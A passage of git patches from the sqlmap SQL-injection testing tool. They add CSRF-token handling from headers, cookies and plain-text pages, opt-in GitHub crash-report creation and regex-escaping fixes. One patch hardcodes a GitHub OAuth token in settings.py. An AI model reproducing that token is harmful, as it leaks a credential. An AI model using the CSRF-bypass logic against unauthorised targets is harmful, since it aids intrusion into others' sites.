lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES @@ -353,7 +353,7 @@ def _setRequestParams(): else: for place in (PLACE.GET, PLACE.POST): for parameter in conf.paramDict.get(place, {}): - if any(parameter.lower().startswith(_) for _ in CSRF_TOKEN_PARAMETER_PREFIXES): + if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): message = "%s parameter '%s' appears to hold CSRF protection token. " % (place, parameter) message += "Do you want sqlmap to automatically update it in further requests? [y/N] " test = readInput(message, default="N") From 95f2e61ca18fe16bd5699a650de64b863e2ad6ef Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 14:23:01 +0200 Subject: [PATCH 087/492] Minor fix related to the Issue #2 --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 885005989..afe16c522 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2183,7 +2183,7 @@ def _basicOptionValidation(): errMsg = "option '--csrf-url' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) - if conf.csrfToken and conf.threads: + if conf.csrfToken and conf.threads > 1: errMsg = "option '--csrf-url' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) From abbd3523922aa0d64dea345807f49db70b6dc6cc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 14:33:22 +0200 Subject: [PATCH 088/492] Support for X-CSRF-TOKEN header (Issue #2) --- lib/core/target.py | 4 ++-- lib/request/connect.py | 23 ++++++++++++++++------- 2 files changed, 18 insertions(+), 9 deletions(-) diff --git a/lib/core/target.py b/lib/core/target.py index 50a4d0d74..cd542d928 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -346,9 +346,9 @@ def _setRequestParams(): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): + if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders): errMsg = "CSRF protection token parameter '%s' not " % conf.csrfToken - errMsg += "found in provided GET and/or POST values" + errMsg += "found in provided GET, POST or header values" raise SqlmapGenericException(errMsg) else: for place in (PLACE.GET, PLACE.POST): diff --git a/lib/request/connect.py b/lib/request/connect.py index 157e0cce2..29550c41c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -758,16 +758,21 @@ class Connect(object): retVal = re.sub("%s=[^&]*" % parameter, "%s=%s" % (parameter, newValue), paramString) return retVal - page, _, _ = Connect.getPage(url=conf.csrfUrl or conf.url, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) - match = re.search(r"]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % conf.csrfToken, page) + page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + match = re.search(r"]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % conf.csrfToken, page or "") token = (match.group(2) or match.group(3) or match.group(4)) if match else None if not token: - errMsg = "CSRF token value '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) - if not conf.csrfUrl: - errMsg += ". You can try to rerun by providing " - errMsg += "a valid value for option '--csrf-url'" - raise SqlmapTokenException, errMsg + if conf.csrfUrl != conf.url and code == httplib.OK: + if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): + token = page + + if not token: + errMsg = "CSRF token value '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) + if not conf.csrfUrl: + errMsg += ". You can try to rerun by providing " + errMsg += "a valid value for option '--csrf-url'" + raise SqlmapTokenException, errMsg if token: for item in (PLACE.GET, PLACE.POST): @@ -777,6 +782,10 @@ class Connect(object): elif item == PLACE.POST and post: post = _adjustParameter(post, conf.csrfToken, token) + for i in xrange(len(conf.httpHeaders)): + if conf.httpHeaders[i][0].lower() == conf.csrfToken.lower(): + conf.httpHeaders[i] = (conf.httpHeaders[i][0], token) + if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString From 5e31229d48f6be97db7a8c90a366dd2541676d95 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 15:18:22 +0200 Subject: [PATCH 089/492] Minor cosmetic update --- lib/request/connect.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 29550c41c..7d5df81f9 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -768,7 +768,7 @@ class Connect(object): token = page if not token: - errMsg = "CSRF token value '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) + errMsg = "CSRF protection token '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) if not conf.csrfUrl: errMsg += ". You can try to rerun by providing " errMsg += "a valid value for option '--csrf-url'" From 6448d3caf4148840567761d8cdec4959ce79dc35 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 Oct 2014 09:37:51 +0200 Subject: [PATCH 090/492] Implementing support for csrfcookie (Issue #2) --- lib/core/target.py | 6 +++--- lib/request/connect.py | 21 +++++++++++++++++---- 2 files changed, 20 insertions(+), 7 deletions(-) diff --git a/lib/core/target.py b/lib/core/target.py index cd542d928..dd0da7b3d 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -346,12 +346,12 @@ def _setRequestParams(): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders): + if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}): errMsg = "CSRF protection token parameter '%s' not " % conf.csrfToken - errMsg += "found in provided GET, POST or header values" + errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) else: - for place in (PLACE.GET, PLACE.POST): + for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE): for parameter in conf.paramDict.get(place, {}): if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): message = "%s parameter '%s' appears to hold CSRF protection token. " % (place, parameter) diff --git a/lib/request/connect.py b/lib/request/connect.py index 7d5df81f9..bfb8bf242 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -767,6 +767,19 @@ class Connect(object): if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): token = page + if not token and any(cookie.name == conf.csrfToken for cookie in conf.cj): + for cookie in conf.cj: + if cookie.name == conf.csrfToken: + token = cookie.value + if not any (conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): + if post: + post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) + elif get: + get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) + else: + get = "%s=%s" % (conf.csrfToken, token) + break + if not token: errMsg = "CSRF protection token '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) if not conf.csrfUrl: @@ -775,11 +788,11 @@ class Connect(object): raise SqlmapTokenException, errMsg if token: - for item in (PLACE.GET, PLACE.POST): - if item in conf.parameters: - if item == PLACE.GET and get: + for place in (PLACE.GET, PLACE.POST): + if place in conf.parameters: + if place == PLACE.GET and get: get = _adjustParameter(get, conf.csrfToken, token) - elif item == PLACE.POST and post: + elif place == PLACE.POST and post: post = _adjustParameter(post, conf.csrfToken, token) for i in xrange(len(conf.httpHeaders)): From 19aed90ae534fc61da46f0c09450772b9ce464ea Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 27 Oct 2014 00:37:46 +0100 Subject: [PATCH 091/492] Implementation for an Issue #874 --- lib/core/common.py | 45 ++++++++++++++++++++++++++++++++++++++++++-- lib/core/settings.py | 3 +++ sqlmap.py | 5 ++++- 3 files changed, 50 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index c65443b5b..ccb3a70a1 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -9,8 +9,10 @@ import codecs import contextlib import cookielib import copy +import hashlib import httplib import inspect +import json import logging import ntpath import os @@ -23,6 +25,7 @@ import sys import tempfile import time import urllib +import urllib2 import urlparse import unicodedata @@ -99,6 +102,7 @@ from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME from lib.core.settings import FORM_SEARCH_REGEX from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES from lib.core.settings import GIT_PAGE +from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HOST_ALIASES @@ -876,7 +880,7 @@ def readInput(message, default=None, checkBatch=True): message = "\n%s" % message kb.prependFlag = False - if conf.answers: + if conf.get("answers"): for item in conf.answers.split(','): question = item.split('=')[0].strip() answer = item.split('=')[1] if len(item.split('=')) > 1 else None @@ -892,7 +896,7 @@ def readInput(message, default=None, checkBatch=True): break if retVal is None: - if checkBatch and conf.batch: + if checkBatch and conf.get("batch"): if isListLike(default): options = ",".join(getUnicode(opt, UNICODE_ENCODING) for opt in default) elif default: @@ -2843,6 +2847,43 @@ def unhandledExceptionMessage(): return maskSensitiveData(errMsg) +def createGithubIssue(errMsg, excMsg): + """ + Automatically create a Github issue with unhandled exception information + """ + + msg = "\ndo you want to automatically create a new (anonymized) issue " + msg += "with the unhandled exception information at " + msg += "the official Github repository? [y/N] " + test = readInput(msg, default="N") + if test[0] in ("y", "Y"): + ex = None + errMsg = errMsg[errMsg.find("\n"):] + + for match in re.finditer(r'File "(.+?)", line', excMsg): + file = match.group(1).replace('\\', "/") + file = file[file.find("sqlmap"):].replace("sqlmap/", "", 1) + excMsg = excMsg.replace(match.group(1), file) + + data = {"title": "Unhandled exception (#%s)" % hashlib.md5(excMsg).hexdigest()[:8], "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} + req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN}) + + try: + f = urllib2.urlopen(req) + content = f.read() + except Exception, ex: + content = None + + issueUrl = re.search(r"https://github.com/sqlmapproject/sqlmap/issues/\d+", content or "") + if issueUrl: + infoMsg = "created Github issue can been found at the address '%s'" % issueUrl.group(0) + logger.info(infoMsg) + else: + warnMsg = "something went wrong while creating a Github issue" + if ex: + warnMsg += " ('%s')" % ex + logger.warn(warnMsg) + def maskSensitiveData(msg): """ Masks sensitive data in the supplied message diff --git a/lib/core/settings.py b/lib/core/settings.py index 26f83d04c..0c31f65cc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -474,6 +474,9 @@ DEFAULT_COOKIE_DELIMITER = ';' # Unix timestamp used for forcing cookie expiration when provided with --load-cookies FORCE_COOKIE_EXPIRATION_TIME = "9999999999" +# Github OAuth token used for creating an automatic Issue for unhandled exceptions +GITHUB_REPORT_OAUTH_TOKEN = "d6c0c7bf3f2298a7b85f82176c46d2f8d494fcc5" + # Skip unforced HashDB flush requests below the threshold number of cached items HASHDB_FLUSH_THRESHOLD = 32 diff --git a/sqlmap.py b/sqlmap.py index 5807b341f..87035781a 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -21,6 +21,7 @@ from lib.utils import versioncheck # this has to be the first non-standard impo from lib.controller.controller import start from lib.core.common import banner +from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import getUnicode from lib.core.common import setColor @@ -127,9 +128,11 @@ def main(): except: print errMsg = unhandledExceptionMessage() + excMsg = traceback.format_exc() logger.critical(errMsg) kb.stickyLevel = logging.CRITICAL - dataToStdout(setColor(traceback.format_exc())) + dataToStdout(excMsg) + createGithubIssue(errMsg, excMsg) finally: if conf.get("showTime"): From e08c8f272a304132db7262cab6d488cc84d25c76 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 13:10:07 +0100 Subject: [PATCH 092/492] Fix for an Issue #875 --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index afe16c522..7283a980c 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -940,7 +940,7 @@ def _setTamperingFunctions(): priority = PRIORITY.NORMAL if not hasattr(module, '__priority__') else module.__priority__ for name, function in inspect.getmembers(module, inspect.isfunction): - if name == "tamper": + if name == "tamper" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs": found = True kb.tamperFunctions.append(function) function.func_name = module.__name__ From f89e94fb8c18d7c8ac812bd5afbe119665d5d430 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 13:42:13 +0100 Subject: [PATCH 093/492] Minor refactoring --- lib/request/basic.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index ac887e08c..e361c4dad 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -95,8 +95,7 @@ def forgeHeaders(items=None): kb.mergeCookies = not _ or _[0] in ("y", "Y") if kb.mergeCookies: - _ = lambda x: re.sub("(?i)%s=[^%s]+" % (cookie.name, conf.cookieDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, getUnicode(cookie.value)), x) - headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) + headers[HTTP_HEADER.COOKIE] = re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(cookie.name), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, getUnicode(cookie.value)), headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: conf.parameters[PLACE.COOKIE] = _(conf.parameters[PLACE.COOKIE]) From 268e774087ed0584c0f89b59361f678449e1572f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 13:44:55 +0100 Subject: [PATCH 094/492] Minor refactoring --- lib/request/basic.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index e361c4dad..2fa61b6d2 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -95,7 +95,8 @@ def forgeHeaders(items=None): kb.mergeCookies = not _ or _[0] in ("y", "Y") if kb.mergeCookies: - headers[HTTP_HEADER.COOKIE] = re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(cookie.name), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, getUnicode(cookie.value)), headers[HTTP_HEADER.COOKIE]) + _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(cookie.name), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, getUnicode(cookie.value)), x) + headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: conf.parameters[PLACE.COOKIE] = _(conf.parameters[PLACE.COOKIE]) From 3b3b8d4ef2319502d3e096dbd9c13796932a577f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 14:02:55 +0100 Subject: [PATCH 095/492] Potential bug fix (escaping formatted regular expressions) --- lib/core/common.py | 8 ++++---- lib/core/option.py | 2 +- lib/parse/banner.py | 2 +- lib/request/connect.py | 12 ++++++------ lib/utils/pivotdumptable.py | 4 ++-- plugins/generic/entries.py | 2 +- 6 files changed, 15 insertions(+), 15 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index ccb3a70a1..87b7da4bf 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1286,7 +1286,7 @@ def expandAsteriskForColumns(expression): if expression != conf.query: conf.db = db else: - expression = re.sub(r"([^\w])%s" % conf.tbl, "\g<1>%s.%s" % (conf.db, conf.tbl), expression) + expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), "\g<1>%s.%s" % (conf.db, conf.tbl), expression) else: conf.db = db conf.db = safeSQLIdentificatorNaming(conf.db) @@ -2503,11 +2503,11 @@ def removeDynamicContent(page): if prefix is None and suffix is None: continue elif prefix is None: - page = re.sub(r'(?s)^.+%s' % suffix, suffix, page) + page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix, page) elif suffix is None: - page = re.sub(r'(?s)%s.+$' % prefix, prefix, page) + page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix, page) else: - page = re.sub(r'(?s)%s.+%s' % (prefix, suffix), '%s%s' % (prefix, suffix), page) + page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix, suffix), page) return page diff --git a/lib/core/option.py b/lib/core/option.py index 7283a980c..21fe4f8c9 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -233,7 +233,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): port, request = match.groups() request = request.decode("base64") - _ = re.search(r"%s:.+" % HTTP_HEADER.HOST, request) + _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) if _: host = _.group(0).strip() if not re.search(r":\d+\Z", host): diff --git a/lib/parse/banner.py b/lib/parse/banner.py index 293994ce4..2e11cb10c 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -63,7 +63,7 @@ class MSSQLBannerHandler(ContentHandler): def endElement(self, name): if name == "signature": for version in (self._version, self._versionAlt): - if version and re.search(r" %s[\.\ ]+" % version, self._banner): + if version and re.search(r" %s[\.\ ]+" % re.escape(version), self._banner): self._feedInfo("dbmsRelease", self._release) self._feedInfo("dbmsVersion", self._version) self._feedInfo("dbmsServicePack", self._servicePack) diff --git a/lib/request/connect.py b/lib/request/connect.py index bfb8bf242..bafa164ab 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -752,14 +752,14 @@ class Connect(object): if conf.csrfToken: def _adjustParameter(paramString, parameter, newValue): retVal = paramString - match = re.search("%s=(?P[^&]*)" % parameter, paramString) + match = re.search("%s=(?P[^&]*)" % re.escape(parameter), paramString) if match: origValue = match.group("value") - retVal = re.sub("%s=[^&]*" % parameter, "%s=%s" % (parameter, newValue), paramString) + retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString) return retVal page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) - match = re.search(r"]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % conf.csrfToken, page or "") + match = re.search(r"]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % re.escape(conf.csrfToken), page or "") token = (match.group(2) or match.group(3) or match.group(4)) if match else None if not token: @@ -802,10 +802,10 @@ class Connect(object): if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString - match = re.search("%s=(?P[^&;]+)" % randomParameter, paramString) + match = re.search("%s=(?P[^&;]+)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") - retVal = re.sub("%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) + retVal = re.sub("%s=[^&;]+" % re.escape(randomParameter), "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: @@ -847,7 +847,7 @@ class Connect(object): found = False value = unicode(value) - regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), name, re.escape(delimiter)) + regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) if re.search(regex, (get or "")): found = True get = re.sub(regex, "\g<1>%s\g<3>" % value, get) diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 6cf9c2275..8adaccf1c 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -64,7 +64,7 @@ def pivotDumpTable(table, colList, count=None, blind=True): colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT)) if conf.pivotColumn: - if any(re.search(r"(.+\.)?%s" % conf.pivotColumn, _, re.I) for _ in colList): + if any(re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I) for _ in colList): infoMsg = "using column '%s' as a pivot " % conf.pivotColumn infoMsg += "for retrieving row data" logger.info(infoMsg) @@ -173,7 +173,7 @@ def whereQuery(query): prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "") if "%s)" % conf.tbl.upper() in prefix.upper(): - prefix = re.sub(r"(?i)%s\)" % conf.tbl, "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) + prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) elif re.search(r"(?i)\bWHERE\b", prefix): prefix += " AND %s" % conf.dumpWhere else: diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 4a5ca7d94..b06306d65 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -147,7 +147,7 @@ class Entries: for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: - colString = re.sub(r"\b%s\b" % column, _, colString) + colString = re.sub(r"\b%s\b" % re.escape(column), _, colString) entriesCount = 0 From 725c3a6a95a1fb49d92be6ccaf74d135f66dc91c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 14:08:06 +0100 Subject: [PATCH 096/492] Minor update --- lib/core/common.py | 13 ++++++------- sqlmap.py | 7 +++++++ 2 files changed, 13 insertions(+), 7 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 87b7da4bf..0249f69d0 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2855,16 +2855,15 @@ def createGithubIssue(errMsg, excMsg): msg = "\ndo you want to automatically create a new (anonymized) issue " msg += "with the unhandled exception information at " msg += "the official Github repository? [y/N] " - test = readInput(msg, default="N") - if test[0] in ("y", "Y"): + try: + test = readInput(msg, default="N") + except: + test = None + + if test and test[0] in ("y", "Y"): ex = None errMsg = errMsg[errMsg.find("\n"):] - for match in re.finditer(r'File "(.+?)", line', excMsg): - file = match.group(1).replace('\\', "/") - file = file[file.find("sqlmap"):].replace("sqlmap/", "", 1) - excMsg = excMsg.replace(match.group(1), file) - data = {"title": "Unhandled exception (#%s)" % hashlib.md5(excMsg).hexdigest()[:8], "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN}) diff --git a/sqlmap.py b/sqlmap.py index 87035781a..066c7709a 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -9,6 +9,7 @@ import bdb import inspect import logging import os +import re import sys import time import traceback @@ -129,6 +130,12 @@ def main(): print errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() + + for match in re.finditer(r'File "(.+?)", line', excMsg): + file = match.group(1).replace('\\', "/") + file = file[file.find("sqlmap"):].replace("sqlmap/", "", 1) + excMsg = excMsg.replace(match.group(1), file) + logger.critical(errMsg) kb.stickyLevel = logging.CRITICAL dataToStdout(excMsg) From df73be32f1a1d810d6ce241d17db3103aa2a43f2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 14:41:21 +0100 Subject: [PATCH 097/492] Fix for an Issue #876 --- lib/request/connect.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index bafa164ab..a0ed7d6ff 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -767,10 +767,10 @@ class Connect(object): if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): token = page - if not token and any(cookie.name == conf.csrfToken for cookie in conf.cj): - for cookie in conf.cj: - if cookie.name == conf.csrfToken: - token = cookie.value + if not token and any(_.name == conf.csrfToken for _ in conf.cj): + for _ in conf.cj: + if _.name == conf.csrfToken: + token = _.value if not any (conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): if post: post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) From 258a700b2e1211baf360614a315075cf80c40836 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 15:14:41 +0100 Subject: [PATCH 098/492] More anonymization of unhandled exception messages --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 0249f69d0..14690a0b2 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2841,7 +2841,7 @@ def unhandledExceptionMessage(): errMsg += "sqlmap version: %s%s\n" % (VERSION, "-%s" % REVISION if REVISION else "") errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % PLATFORM - errMsg += "Command line: %s\n" % " ".join(sys.argv) + errMsg += "Command line: %s\n" % re.sub(".+?sqlmap.py", "sqlmap.py", " ".join(sys.argv)) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms()) From 9af6d497dcd5efa7fd31c7fc13daabce3fd59e2d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 15:22:54 +0100 Subject: [PATCH 099/492] Minor bug fix --- sqlmap.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/sqlmap.py b/sqlmap.py index 066c7709a..059c7c2ad 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -132,9 +132,10 @@ def main(): excMsg = traceback.format_exc() for match in re.finditer(r'File "(.+?)", line', excMsg): - file = match.group(1).replace('\\', "/") - file = file[file.find("sqlmap"):].replace("sqlmap/", "", 1) - excMsg = excMsg.replace(match.group(1), file) + file_ = match.group(1).replace('\\', "/") + file_ = file_[file_.find("sqlmap"):] if "sqlmap" in file_ else file_ + file_ = file_.replace("sqlmap/", "", 1) + excMsg = excMsg.replace(match.group(1), file_) logger.critical(errMsg) kb.stickyLevel = logging.CRITICAL From 455ea9922c06de0a2134f155e28dac36afbad0be Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 15:26:28 +0100 Subject: [PATCH 100/492] Minor update --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 14690a0b2..636703505 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2841,7 +2841,7 @@ def unhandledExceptionMessage(): errMsg += "sqlmap version: %s%s\n" % (VERSION, "-%s" % REVISION if REVISION else "") errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % PLATFORM - errMsg += "Command line: %s\n" % re.sub(".+?sqlmap.py", "sqlmap.py", " ".join(sys.argv)) + errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", " ".join(sys.argv)) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms()) From 67279a1136fca722134972f57545760c6cb26401 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 15:30:05 +0100 Subject: [PATCH 101/492] Minor update --- sqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqlmap.py b/sqlmap.py index 059c7c2ad..4d3bfb213 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -134,7 +134,7 @@ def main(): for match in re.finditer(r'File "(.+?)", line', excMsg): file_ = match.group(1).replace('\\', "/") file_ = file_[file_.find("sqlmap"):] if "sqlmap" in file_ else file_ - file_ = file_.replace("sqlmap/", "", 1) + file_ = re.sub(r"(?i)sqlmap[^/]*/", "", file_, 1) excMsg = excMsg.replace(match.group(1), 